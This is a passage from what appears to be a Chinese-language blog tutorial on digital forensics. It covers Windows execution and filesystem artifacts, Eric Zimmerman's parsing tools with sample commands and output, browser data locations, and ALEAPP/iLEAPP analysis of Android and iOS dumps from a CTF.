info、執行檔雜湊等元資料</strong>：可用來確認是在哪個 volume &#x2F; 機器上被執行</li></ol><p>檔名通常會長得像 PROGRAM.EXE-XXXXXXXX.pf，後面的 8 字元為路徑雜湊，用來區分相同名稱但路徑不同的執行檔。</p><p><img src="/assets/Kq6MvDG5ev05EwQcxGDnrfk7YXkBzYtWCCX0F1_nnas=.png"></p><p>為了讀取裡面的資料，可以使用 Eric Zimmerman’s tools 當中的 PECmd 轉換成 CSV 檔</p><h3 id="Shimcache"><a href="#Shimcache" class="headerlink" title="Shimcache"></a>Shimcache</h3><p>位置：</p><p>紀錄系統曾「看過&#x2F;存取」的可執行檔資訊，但<strong>不保證不一定執行</strong>，更新的時間是寫入 Register 的時間，通常是關機&#x2F;重啟時，</p><p>紀錄的是檔案修改時間 Last Modify Time ，</p><p>會有一個 Cache Entry ，數字越大代表越早出現，這樣可以知道有哪些程式比惡意程式更早或更晚出現</p><h3 id="BAM-DAM"><a href="#BAM-DAM" class="headerlink" title="BAM&#x2F;DAM"></a>BAM&#x2F;DAM</h3><p>Windows 10+ 用於管理背景應用程式資源使用機制，紀錄程式最後執行時間與完整路徑</p><ul><li>快速確認程式最近一次執行時間</li></ul><h3 id="SRUM"><a href="#SRUM" class="headerlink" title="SRUM"></a>SRUM</h3><p>路徑：C:\windows\system32\sru\SRUDB.dat</p><ul><li>紀錄這隻程式使用了多少<strong>網路流量</strong></li></ul><p>注意資料約每 60 分鐘更新一次，不是即時紀錄</p><h3 id="PSReadLine"><a href="#PSReadLine" class="headerlink" title="PSReadLine"></a>PSReadLine</h3><p>路徑：C:\Users\<Users>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt</p><p>Powershell 命令歷史紀錄，檔案為純文字，紀錄使用者之前下過的 powershell 指令</p><h2 id="工具："><a href="#工具：" class="headerlink" title="工具："></a>工具：</h2><ul><li><p>AutoSpy</p></li><li><p>R-studio</p><ul><li>$MFT viewer</li></ul></li><li><p><a href="https://sites.google.com/site/forensicnote/ntfs-log-tracker">NTFS Log Tracker</a></p><p>  NTFS Log Tracker 是一款專門用來解析 NTFS 上 $LogFile 和 UsnJrnl:$J 的工具。 它可以從交易日誌與變更日誌中挑出檔案／目錄操作的記錄。</p><p>  <img src="/assets/icAM7IWI3LvNSrDBmhOmy5cGEzp09GpK-dinwOSbtyU=.png"></p><p>  填上對應檔案的路徑</p><p>  <img src="/assets/hFcjva1sejXuwvwZjLaD60MFdZe6FS2HDJgTsNGphjE=.png"></p><p>  按下右上角的 Parse 之後會先把資料都儲存成一個 DB，這邊幫它取名以及輸出的路徑</p><p>  <img src="/assets/EOWJWa9jI9Oo_YlfKFZjHfHSsssQj7qrHWYUPRjkGao=.png"></p><p>  選擇好後就會開始進行分析</p><p>  <img src="/assets/DG2D3gmzJq6Xs7ar_F0kw4LThRBfLuUG7aIE9lyk8oE=.png"></p><p>  結束後就會出現 $LogFile 以及 UsnJrnl:$J 的內容</p><p>  <img src="/assets/0m_erXlMLOZR4CnCdmW7tevpuuIOkLZCdUxp95dTunY=.png"></p><p>  另外也可以把它們匯出成 CSV 檔案</p><p>  <img src="/assets/-QjIqTFArdJExEa85qymNdtSPPa_HZOrYVz2fmOQOWc=.png"></p><p>  同樣可以使用 <a href="https://ericzimmerman.github.io/#!index.md">Timeline Explorer</a> 或者其他查看 CSV 檔案的軟體查看</p><p>  <img src="/assets/g1tx-sJ6dvFR19b2NJ-SlCuIZDWt8F5_Ajg0pKzuXH4=.png"></p></li></ul><h3 id="Eric-Zimmerman’s-Tools"><a href="#Eric-Zimmerman’s-Tools" class="headerlink" title="Eric Zimmerman’s Tools"></a><a href="https://ericzimmerman.github.io/#!index.md">Eric Zimmerman’s Tools</a></h3><ul><li><p>MFTECmd</p><p>MFTECmd 是由數位鑑識專家 Eric Zimmerman 開發的 Windows command-line 工具，</p><p>用來解析 NTFS 檔案系統中由 $MFT 與其衍生紀錄，例如：</p><ul><li>$MFT</li><li>$LogFile</li><li>$UsnJrnl</li><li>$Boot</li><li>$Secure</li><li>$Extend\$UsnJrnl</li><li>$I30</li></ul><p>並將其轉成 CSV 檔案</p><p>首先找到要鑑識的目錄，並提取其 <code>$I30</code> 內容</p><p><img src="/assets/pWkdQsp10SNyj8hJ5rJ2V_jEM1SYnI-z8-Hak-LF6N0=.png"></p><p>接下來下指令將它轉換成 CSV 檔案</p><p><img src="/assets/FPsRisIYrXMyG_LyDIXtF63__b0J8jlG8LpqAm0sPQ0=.png"></p><p>轉換後可以使用 <a href="https://ericzimmerman.github.io/#!index.md">Timeline Explorer</a> 或者其他查看 CSV 檔案的軟體查看</p><p><img src="/assets/XM56jj6p4EatiIDTljlbRIsJ-SHMJj8bBHFqZ69r9RI=.png"></p></li><li><p><a href="https://github.com/strozfriedberg/sidr">SIDR</a></p><ul><li>windows Search Index Database Reporter</li><li>detect the delete file</li></ul></li><li><p><a href="https://ericzimmerman.github.io/#!index.md">shellbagsexplorer</a></p><p>  ShellBags Explorer 是由 Eric Zimmerman 所開發的一款專門用來瀏覽與解析 Windows ShellBags 資料的工具，將 BagMRU &#x2F; Bags 的註冊表資料解析為資料夾層級樹狀視圖，可以看到使用者曾瀏覽過哪些資料夾</p><p>  它的介面跟 RegistryExplorer 差不多，一樣需要匯入 hive，看作業系統版本匯入 <code>NTUSER.DAT</code> 或者 <code>UsrClass.dat</code></p><p>  <img src="/assets/MvUItWpVpa5jnJsYBxUDs0mF7EWLYanjudpkwnoJOs8=.png"></p><p>  匯入後就可以看到 ShellBags 資訊</p><p>  <img src="/assets/wVsOpk-GTmT9mXzGHEOn72qufR43sE350d2ofw13oh4=.png"></p></li><li><p>LECmd</p><ul><li>to see link file<br>  <code>LECmd.exe -d &quot;C:\Users\Administrator\Desktop\Start Here\Artifacts&quot; --csvf lnk.csv --csv &quot;C:\Users\Administrator\Desktop\lnk-files&quot;</code></li></ul></li><li><p>jumpLists Explorer</p></li><li><p>USB Forensics tracker </p></li><li><p>WxTCMD</p><ul><li>analyze timeline data base to csv file </li><li>“C:\Users\ <user>\AppData\Local\ConnectedDevicesPlatform\L.<user>\ActivitiesCache.db”</li></ul></li><li><p>RegistryExplorer</p><p>  <img src="/assets/U_Af3Nuy6jkoJVOBYMEK0JxMY0oldryrcEpKqJiiFYg=.png"></p><p>  另外有時候匯入 Hive 時會出現這樣的警告</p><p>  <img src="/assets/1R6SsxPjf6RH4H9TTieYwGk_l_SPDaEw3IEEwytPx7U=.png"></p><p>  此警告表示主 hive 檔案與其 transaction logs (.LOG) 的序號不一致，代表 transaction log 中存在尚未同步到主檔案的變更。</p><p>  Windows Registry 採用 write-ahead logging 機制：修改時先寫入記憶體快取，再記錄到 transaction log，最後才定期 flush 到主 hive 檔案。而當 log 檔案的序號大於主檔案時，這個 hive 就會被稱為 <strong>Dirty Hive</strong> </p><p>  按下 Yes 之後就會開始進行與 transaction logs 的合併</p><p>  <img src="/assets/aMqvxrwhRPljyqQ9q7YZGnDq-qwqUj9tamap8pHlCCI=.png"></p><p>  選擇 transaction logs</p><p>  <img src="/assets/vV7W6Z8NLSy3_PqzONNNI-lZkXLVGK3gjQLIHimlGyA=.png"></p><p>  選擇後它就會幫你合併，合併完後先儲存到一個地方</p><p>  <img src="/assets/zWmyczb4k7Jxotypg0j4NvhrhaU-1uXbQ3tgONIuTxo=.png"></p><p>  存完後就可以看這個合併過後的 Hive </p><p>  <img src="/assets/-Nlg6ItibiOChztpvL-_Bj38i8jwo1N9KOo1v6D0c30=.png"></p><p>  Registry Explorer 工具除了可以查看之外它還有預設書籤可以使用，快速定位到想要看的 key </p><p>  <img src="/assets/ias4TQfhKvlTF0pKOS0CDMBbNHwjRZQ8-186lYojnGA=.png"></p></li><li><p>WinPrefetchView</p></li><li><p>SrumECmd</p></li><li><p>AmcacheParser</p><p>AmcacheParser 是由數位鑑識專家 Eric Zimmerman 所開發的一款命令列工具，專門用於解析 Windows 系統中的 Amcache.hve 註冊檔，支援將解析結果輸出為 CSV 格式，方便後續分析與處理</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">PS</span> C:\Users\yunshiuan\Desktop\net9 &gt; .\AmcacheParser.exe <span class="operator">-f</span> C:\Users\yunshiuan\Desktop\Amcache.hve_clean <span class="literal">--csv</span> C:\Users\yunshiuan\Desktop</span><br><span class="line">AmcacheParser version <span class="number">1.5</span>.<span class="number">2.0</span></span><br><span class="line"></span><br><span class="line">Author: Eric Zimmerman (saericzimmerman@gmail.com)</span><br><span class="line">https://github.com/EricZimmerman/AmcacheParser</span><br><span class="line"></span><br><span class="line">Command line: <span class="operator">-f</span> C:\Users\yunshiuan\Desktop\Amcache.hve_clean <span class="literal">--csv</span> C:\Users\yunshiuan\Desktop</span><br><span class="line"></span><br><span class="line">Warning: Administrator privileges not found!</span><br><span class="line"></span><br><span class="line">Unknown value name when processing DevicePnp at path &#123;<span class="number">11517</span>B7C<span class="literal">-E79D-4e20-961B-75A811715ADD</span>&#125;\Root\InventoryDevicePnp\display/default_monitor/<span class="number">1</span>&amp;<span class="number">1</span>f0c3c2f&amp;<span class="number">0</span>&amp;uid256: ManifestPath</span><br><span class="line"></span><br><span class="line">C:\Users\yunshiuan\Desktop\Amcache.hve_clean is <span class="keyword">in</span> new format!</span><br><span class="line"></span><br><span class="line">Total file entries found: <span class="number">240</span></span><br><span class="line">Total shortcuts found: <span class="number">51</span></span><br><span class="line">Total device containers found: <span class="number">13</span></span><br><span class="line">Total device PnPs found: <span class="number">94</span></span><br><span class="line">Total drive binaries found: <span class="number">373</span></span><br><span class="line">Total driver packages found: <span class="number">4</span></span><br><span class="line"></span><br><span class="line">Found <span class="number">123</span> unassociated file entry</span><br><span class="line"></span><br><span class="line">Results saved to: C:\Users\yunshiuan\Desktop</span><br><span class="line"></span><br><span class="line">Total parsing time: <span class="number">0.909</span> seconds</span><br></pre></td></tr></table></figure><p>它的輸出會有很多 CSV 檔，可能會出現下面檔案</p><table><thead><tr><th><strong>Amcache_ProgramEntries.csv</strong></th><th>程式條目（Programs Entry）</th><th>描述註冊在 Amcache “Programs” 分支下的應用程式資訊，如安裝資訊或註冊的程式條目。</th></tr></thead><tbody><tr><td><strong>Amcache_AssociatedFileEntries.csv</strong></td><td>關聯的檔案條目</td><td>指那些能夠被對應（或關聯）到程式條目的檔案條目（File entries）。即那些被安裝程式所擁有或管理的檔案。</td></tr><tr><td><strong>Amcache_UnassociatedFileEntries.csv</strong></td><td>無關聯的檔案條目</td><td>指那些沒有被關聯到任何程式條目的檔案條目，也就是那些孤立的可執行檔 &#x2F; 檔案。這是很多調查中重點查看的部分，因為可能是惡意工具或獨立執行檔。</td></tr><tr><td><strong>Amcache_Shortcuts.csv</strong></td><td>快捷方式 &#x2F; 連結資訊</td><td>描述系統或應用程式捷徑（.lnk 或類似連結）相關的資訊，例如快捷目標、路徑等。</td></tr><tr><td><strong>Amcache_DeviceContainers.csv</strong></td><td>裝置容器 (Device Container)</td><td>與裝置（例如 USB 裝置、硬體裝置）或其容器有關的條目。</td></tr><tr><td><strong>Amcache_DevicePnps.csv</strong></td><td>裝置 PnP 條目 (Plug-and-Play 裝置)</td><td>描述插拔裝置 (PnP 裝置) 的資訊，例如硬體 ID、裝置名稱、相關時間等。</td></tr><tr><td><strong>Amcache_DriveBinaries.csv</strong></td><td>驅動程式二進位檔</td><td>涉及驅動程式（driver binaries）或在磁碟上可執行但屬驅動程式範疇的條目。</td></tr><tr><td><strong>Amcache_DriverPackages.csv</strong></td><td>驅動套件 (Driver Packages)</td><td>關於驅動程式套件安裝、驅動套件版本、封裝資訊等。</td></tr></tbody></table><p>接下來就可以用 <a href="https://ericzimmerman.github.io/#!index.md">Timeline Explorer</a> 或者其他可以查看 CSV 檔的程式查看內容</p><p><img src="/assets/mPcDCME75qRv_jdBbz7s7O_MXQtHhoV6h36PvLThoFc=.png"></p><p>假設想要知道 notepad.exe 的實際路徑以及它的 SHA-1 值，按照上面的步驟並在 <code>&lt;XXX_UnassociatedFileEntries.csv&gt;</code> 搜尋 notepad.exe</p><p><img src="/assets/x-tZ0wFWbbmTkDMDwjC0KcLnXum2pc_9t6A4oT2z3Bg=.png"></p><p>可以馬上就看到相關資訊</p></li><li><p>PECmd</p><p>PECmd 是由 Eric Zimmerman 開發的一個命令行工具，它的目的是解析 Windows 的 Prefetch 檔案（.pf），抽取其中的 metadata（如執行時間戳、執行次數、被參照的檔案清單等），以便用於鑑識分析</p><p>有一個很方便的功能是可以使用以下指令批量處理 Prefetch 裡面的所有檔案，並把它們合成一個 CSV 檔</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.\PECmd.exe -d C:\Users\yunshiuan\Desktop\The_Enduring_Echo\C\Windows\prefetch --csv <span class="string">&quot;C:\Users\yunshiuan\Desktop\output&quot;</span></span><br></pre></td></tr></table></figure><p><img src="/assets/YZQ4eHTHNW2nzsMq1S9CPq9H7CPp6_8kzmD9OzCkXTM=.png"></p><p>如果想要單獨轉換某個 .pf 檔的話可以使用 <code>-f</code> </p><p>接下來就會在 output 中出現轉換好的 CSV 檔</p><p><img src="/assets/vN3s7s5Ir8f6bWh_K-OBrUFXzhTtEFEzoj7px-EMmh8=.png"></p><p>可以使用 <a href="https://ericzimmerman.github.io/#!index.md">Timeline Explorer</a> 或者其他查看 CSV 檔的軟體查看</p><p><img src="/assets/IZtn-xPIIX5IwNcA-FIRxiwXk3Aqu-eJfzpZnmt-W-Q=.png"></p><p>假設我想要知道 cmd.exe 執行了幾次，直接按照剛剛的步驟並搜尋 cmd.exe，發現它執行了 26 次</p><p><img src="/assets/EWcRoavCJbqZQ7VouNsE-FHXlJrmgvL1A8hxDCCG750=.png"></p></li></ul><h3 id="Zone-Identifier"><a href="#Zone-Identifier" class="headerlink" title="Zone Identifier"></a>Zone Identifier</h3><p>當從瀏覽器（如 Edge、Chrome、IE）下載檔案時，Windows 會建立一個 NTFS 區段資料（ADS） 來記錄檔案來源，例如：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[ZoneTransfer]</span></span><br><span class="line"><span class="attr">ZoneId</span>=<span class="number">3</span></span><br><span class="line"><span class="attr">ReferrerUrl</span>=https://example.com</span><br><span class="line"><span class="attr">HostUrl</span>=https://example.com/download/file.exe</span><br></pre></td></tr></table></figure><p>這通常儲存在 Zone.Identifier 流裡。</p><p>要查看可以從FTK imager 中點擊下載的檔案看有沒有附加的Zone.Identifier</p><h2 id="瀏覽器紀錄"><a href="#瀏覽器紀錄" class="headerlink" title="瀏覽器紀錄"></a>瀏覽器紀錄</h2><p>Windows 系統中，應用程式的使用者資料通常儲存在 <code>AppData</code> 目錄下：</p><figure class="highlight livescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">C:<span class="string">\Users\&lt;username&gt;\AppData\</span></span><br><span class="line">├── Local<span class="string">\</span></span><br><span class="line">├── Roaming<span class="string">\</span>        </span><br><span class="line">└── LocalLow<span class="string">\</span>       </span><br></pre></td></tr></table></figure><ul><li>Local : 儲存大容量，臨時或易刪除的資料</li><li>Roaming : 跨裝置同步資料，會跟著使用者帳戶移動到其他電腦</li><li>LocalLow：與 Local 類似，但是應用程式被授予的權限較低</li></ul><p>以下介紹一些常用的瀏覽器的資料儲存位置以及可以分析的檔案</p><h3 id="Google-Chrome"><a href="#Google-Chrome" class="headerlink" title="Google Chrome"></a>Google Chrome</h3><p><strong>位置：</strong> <code>C:\Users\&lt;user&gt;\AppData\Local\Google\Chrome\User Data\Default</code></p><figure class="highlight livescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">C:<span class="string">\Users\&lt;user&gt;\AppData\Local\Google\Chrome\User</span> Data<span class="string">\Default\</span></span><br><span class="line">├── History               <span class="comment"># 瀏覽歷史和下載記錄</span></span><br><span class="line">├── Network<span class="string">\Cookies</span>       <span class="comment"># Cookie 資料</span></span><br><span class="line">├── Login Data            <span class="comment"># 儲存的密碼</span></span><br><span class="line">├── Web Data              <span class="comment"># 自動填入資料</span></span><br><span class="line">├── Bookmarks             <span class="comment"># 書籤</span></span><br><span class="line">├── Preferences           <span class="comment"># 使用者偏好設定</span></span><br><span class="line">├── Cache<span class="string">\</span>                <span class="comment"># 快取資料</span></span><br><span class="line">├── Local Storage<span class="string">\</span>        <span class="comment"># 本地儲存</span></span><br><span class="line">├── Session Storage<span class="string">\</span>      <span class="comment"># 會話儲存</span></span><br><span class="line">└── IndexedDB<span class="string">\</span>            <span class="comment"># 索引資料庫</span></span><br></pre></td></tr></table></figure><p><img src="/assets/t3wC0oXhNjW5IAY58wESdbEguCnaBPvkbUMzF7wKS0w=.png"></p><h3 id="Microsoft-Edge"><a href="#Microsoft-Edge" class="headerlink" title="Microsoft Edge"></a>Microsoft Edge</h3><p><strong>位置：</strong> <code>C:\Users\&lt;user&gt;\AppData\Local\Microsoft\Edge\User Data\Default</code></p><figure class="highlight livescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">C:<span class="string">\Users\&lt;user&gt;\AppData\Local\Microsoft\Edge\User</span> Data<span class="string">\Default\</span></span><br><span class="line">├── History               <span class="comment"># 瀏覽歷史和下載記錄</span></span><br><span class="line">├── Cookies               <span class="comment"># Cookie 資料</span></span><br><span class="line">├── Login Data            <span class="comment"># 儲存的密碼</span></span><br><span class="line">├── Web Data              <span class="comment"># 自動填入資料</span></span><br><span class="line">├── Preferences           <span class="comment"># 使用者偏好設定</span></span><br><span class="line">├── Cache<span class="string">\</span>                <span class="comment"># 快取資料</span></span><br><span class="line">├── Local Storage<span class="string">\</span>        <span class="comment"># 本地儲存</span></span><br><span class="line">├── Session Storage<span class="string">\</span>      <span class="comment"># 會話儲存</span></span><br><span class="line">└── IndexedDB<span class="string">\</span>            <span class="comment"># 索引資料庫</span></span><br></pre></td></tr></table></figure><p><img src="/assets/c8YUdhLtLG-xs03GspLLfxg5lXWwJaANvvFQ00ftp9E=.png"></p><h3 id="Mozilla-Firefox"><a href="#Mozilla-Firefox" class="headerlink" title="Mozilla Firefox"></a>Mozilla Firefox</h3><p><strong>位置：</strong> <code>C:\Users\&lt;user&gt;\AppData\Roaming\Mozilla\Firefox\Profiles\&lt;profile&gt;</code></p><p><code>&lt;profile&gt;</code> 常常會以xxxx.default-release 表示</p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\&lt;user&gt;\AppData\Roaming\Mozilla\Firefox\Profiles\&lt;profile&gt;\</span><br><span class="line">├── places.sqlite        <span class="comment"># 瀏覽歷史、書籤、下載記錄</span></span><br><span class="line">├── cookies.sqlite       <span class="comment"># Cookie 資料</span></span><br><span class="line">├── logins.<span class="keyword">json </span>         <span class="comment"># 儲存的密碼</span></span><br><span class="line">├── formhistory.sqlite   <span class="comment"># 表單歷史</span></span><br><span class="line">├── permissions.sqlite   <span class="comment"># 網站權限</span></span><br><span class="line">├── <span class="keyword">prefs.js </span>           <span class="comment"># 使用者偏好設定</span></span><br><span class="line">├── user.<span class="keyword">js </span>            <span class="comment"># 使用者自訂設定</span></span><br><span class="line">└── storage\            <span class="comment"># 本地儲存</span></span><br></pre></td></tr></table></figure><p><img src="/assets/MH-kVAb81up_baCG59UVWSc7VpFwFHxrAKgKZVGoG5c=.png"></p><p>有些檔案會是 SQLite 儲存的，這邊推薦一個 GUI 應用程式可以查看 SQLite 資料庫內的內容：<strong>DB Browser for SQLite</strong></p><h3 id="DB-Browser-for-SQLite"><a href="#DB-Browser-for-SQLite" class="headerlink" title="DB Browser for SQLite"></a>DB Browser for SQLite</h3><p>下載連結：<a href="https://sqlitebrowser.org/">https://sqlitebrowser.org/</a></p><p>DB Browser for SQLite 是一款開源的、跨平台的視覺化 SQLite 資料庫管理工具。它讓使用者不用深入指令列就能開啟、瀏覽、查詢、修改 SQLite 資料庫檔案。它支援標準的 SQLite 檔案（.sqlite, .db, .sqlite3 等），也支援匯入／匯出 CSV、SQL dump 等格式</p><p>假設我要查看使用者在 Google Chrome 的瀏覽與下載紀錄</p><p>首先先把 <code>C:\Users\&lt;user&gt;\AppData\Local\Google\Chrome\User Data\Default\History</code> dump 下來</p><p><img src="/assets/9FgyVU4gE0qZHD_cPbKAPnJZwqx-YWgxBiESlAA1ZAI=.png"></p><p>然後開啟 DB Browser for SQLite，將剛剛 dump 下來的 history 資料丟進 DB Browser for SQLite 內</p><p><img src="/assets/jev_UQgFrTH7os7vKMbXlqQFHHDiJf7N7AUvGTDCoto=.png"></p><p>下面可以看到資料庫內的 Table，如果想要看裡面的資料就點選瀏覽資料的頁面</p><p><img src="/assets/E_xTSK3RQjQUtRC4oW8-bFfy_f8KdXiWu4GJ3viGkWs=.png"></p><p>如果是要看瀏覽記錄就選擇 <code>urls</code>，如果要看下載紀錄的話就看 <code>downloads</code> Table</p><p><img src="/assets/Wy19Ca-3LR-VWh2fqEcZKglEGOWIsqVcTY9cYyQt-8I=.png"></p><h2 id="Acquision"><a href="#Acquision" class="headerlink" title="Acquision"></a>Acquision</h2><ul><li>Dumpit.exe<ul><li>windows memory image</li></ul></li><li><a href="https://github.com/504ensicsLabs/LiME">LiME</a><ul><li>Linux memory image</li></ul></li><li><a href="https://www.magnetforensics.com/resources/encrypted-disk-detector/">EDD</a><ul><li>check disk wheather has been encrypted</li></ul></li><li>KAPE<ul><li>triage image</li></ul></li><li>CyLR<ul><li>inux triage image</li></ul></li></ul><p>if windwos memory dead Acquision</p><ul><li><p>hiberfil.sys C:&#x2F;</p></li><li><p>pagefile.sys C:&#x2F;</p></li></ul><hr><h2 id="Android"><a href="#Android" class="headerlink" title="Android"></a>Android</h2><h4 id="ALEAPP"><a href="#ALEAPP" class="headerlink" title="ALEAPP"></a>ALEAPP</h4><p>下載連結：</p><p>ALEAPP : <a href="https://github.com/abrignoni/ALEAPP"> https://github.com/abrignoni/ALEAPP</a></p><p>是由 Alexis Brignoni 開發的一個開源工具，用來做 Android 裝置的 證據檔案分析（forensic artifacts parsing）。其目的在於整理 Android 裝置中常見的 log、事件、Protobuf（如 Google Play Services 或其他使用 Protobuf 的 apps）等資料，協助數位鑑識與 incident response 調查人員快速取出與分析有用資料。</p><hr><p>今天的Android 的 dumpfiles 會以今年初剛結束的 MVS CTF 2025 中的Android 分類來分享</p><p>下載連結 ： <a href="https://drive.google.com/file/d/1Ay-T4kE8J3NX-XLh0krarFvE9j8SK_LT/view">https://drive.google.com/file/d/1Ay-T4kE8J3NX-XLh0krarFvE9j8SK_LT/view</a></p><p>這個連結下載會給一個Android 手機的 data 資料夾內容，並且是壓縮過後的。</p><p>這邊可以分享一下在Android 11 後，沒有 root 的權限是沒有辦法去存取到 data 資料夾的，因此會需要一些第三方的工具才可以把它 dump 下來。</p><p>我的猜測，這個 dump 的製作是使用一個<a href="https://github.com/topjohnwu/Magisk">Magisk</a> 工具安裝到裝置上，這個工具可以讓你獲得到 root 權限並無需修改系統分區，<a href="https://izaka.tw/magisk-tutorial-and-installation-guide/">參考連結</a></p><p>ALEAPP 只支援 tar&#x2F;zip&#x2F;gz 檔案，因此我是先從連結上下載後解壓再重新壓縮成 zip 一次</p><p>得到檔案之後就可以丟給 ALEAPP，上面是填題目給的檔案，下面是選它產生的分析結果要輸出到哪裡的資料夾</p><p>下面的 Module 可以全選</p><p><img src="/assets/mDASlDFj6hHZvVJoPZZZ210DAqwMwVXbJ-mrViOr-w4=.png"></p><p>接下來按左下角的 Process 它就會開始做分析，分析完之後它會在你跟剛剛填的路徑下新增一個資料夾</p><p><img src="/assets/lDtakJToWuHInXS9qc6ldb-xieSy0NSlWyeQBwburCs=.png"></p><p>這些就是它將分析的結果轉成 HTML，類似生成一個報告，主要的頁面會在 <code>index.html</code>，點開之後會進入到這個頁面</p><p><img src="/assets/IvCPZq8bj5obL1jWJ0mLYUYg_gNCe6EhCRZm-CpzJGE=.png"></p><p>之後就可以開始去翻有沒有什麼可疑的東西</p><p>其中的功能很多，這邊介紹其中一部分的內容</p><h3 id="Home-page"><a href="#Home-page" class="headerlink" title="Home page"></a>Home page</h3><p>首頁就會顯示一些手機的名稱、SIM卡資訊等等</p><p><img src="/assets/Z2AoWqFIXBkawKwp5jiAnGuJy122aa8Tyd-SZjcOsOc=.png"></p><h2 id="APP"><a href="#APP" class="headerlink" title="APP"></a>APP</h2><h3 id="APP-Icons"><a href="#APP-Icons" class="headerlink" title="APP Icons"></a>APP Icons</h3><p>這邊可以查看使用者在裝置上安裝了什麼app</p><p><img src="/assets/5hibQen43Jn1ThRdY0x2r67KBkQ_yTAxbqaeRzwTUNA=.png"></p><h3 id="Packages"><a href="#Packages" class="headerlink" title="Packages"></a>Packages</h3><p>它會解析 <code>packages.xml</code>，記錄了裝置上安裝過的所有套件（應用程式），包含：</p><p>•系統應用（隨 ROM 出廠）</p><p>•OEM 廠商附加應用</p><p>•使用者自行安裝的應用（例如從 Google Play Store、adb sideload 等）</p><p><img src="/assets/lE9NediFoYvRMhSRjJrXjxl-wX8-nBMapXtwwlAYmJM=.png"></p><h3 id="Bluetooth"><a href="#Bluetooth" class="headerlink" title="Bluetooth"></a>Bluetooth</h3><h4 id="Bluetooth-Adapter-Information"><a href="#Bluetooth-Adapter-Information" class="headerlink" title="Bluetooth Adapter Information"></a>Bluetooth Adapter Information</h4><p>這邊可以看到藍牙的一些設定</p><p><img src="/assets/Jl_I6EruZUlSFYviq3RPTFNfNMnoUY4vPQckU9-sKpc=.png"></p><h4 id="Bluetooth-Connections"><a href="#Bluetooth-Connections" class="headerlink" title="Bluetooth Connections"></a>Bluetooth Connections</h4><p>這邊可以看藍牙裝置連線紀錄</p><p><img src="/assets/tTj3bI9f-yMf1GKbRGqfxsjClNGrxo9di4EThFU7qTw=.png"></p><hr><h2 id="IOS"><a href="#IOS" class="headerlink" title="IOS"></a>IOS</h2><h3 id="ILEAPP"><a href="#ILEAPP" class="headerlink" title="ILEAPP"></a>ILEAPP</h3><p>下載連結： <a href="https://github.com/abrignoni/iLEAPP">https://github.com/abrignoni/iLEAPP</a></p><p>iLEAPP 是 Alexis Brignoni 開發的開源工具，用來解析 iOS 裝置（與備份）中的日誌、事件與 plist 等常見鑑識 artefacts，協助快速整理出可供鑑識與調查的資訊。此工具可以快速 triage iOS 欄位：例如系統與應用 logs、通知（notifications）、build &#x2F; 設備資訊、行動網路資料、應用狀態資料庫（ApplicationState.db）等，將原始檔案轉成可讀的表格&#x2F;HTML 報告或 timeline，便於調查人員閱讀與分析</p><hr><p>今天的IOS 的 dumpfiles 檔會以今年初剛結束的 MVS CTF 2025 檔中的 IOS 分類來分享</p><p>檔案下載網址：<a href="https://drive.google.com/drive/folders/1yaMc--Va2u2IJzQKci4yBaeftjDGRDya">https://drive.google.com/drive/folders/1yaMc--Va2u2IJzQKci4yBaeftjDGRDya</a></p><p>網址下載下來後應該會是iOS 系統的Applications、private、System 資料夾的壓縮檔</p><p>將下載的檔案丟給iLEAPP，上面是填題目給的檔案，下面是選他產生的分析結果要輸出到哪裡的資料夾</p><p>下面的Module可以全選</p><p><img src="/assets/pN_MLRInXD93sGXMtwoxxnvG6LiVZAyfxuDtWOxSxF4=.png"></p><p>接下來按左下角的 Process 程式就會開始分析</p><p>結束之後會產生分析的結果並產生html，</p><p><img src="/assets/OzFeLiwH1qYq5CZbvm7R8tR14Pxz_wcfw2JjuQ82SY0=.png"></p><p>報告的主頁會產生在_HTML 底下的 <code>index.html</code> 打開之後會出現這樣的頁面</p><p><img src="/assets/9oHLDoZAR8rpHPWI5a65Wj2LDRsWts9dnS1ABtfelbM=.png"></p><p>之後就可以在左側的功能列翻想要尋找的東西。</p><p>這邊介紹幾個我覺得比較特別的分析結果</p><h2 id="Home-Page"><a href="#Home-Page" class="headerlink" title="Home Page"></a>Home Page</h2><p>在首頁的Device details 中有顯示裝置基本資訊（型號、序號、iOS 版本）</p><p><img src="/assets/fXGB2uwjc5BZY9TvJLQPPKzqzsdhCceqbkQM1yNVhBw=.png"></p><h3 id="Keyboard-Usage-Stats"><a href="#Keyboard-Usage-Stats" class="headerlink" title="Keyboard Usage Stats"></a>Keyboard Usage Stats</h3><p>這邊會顯示</p><ul><li><code>tium.totalWordsTyped</code> 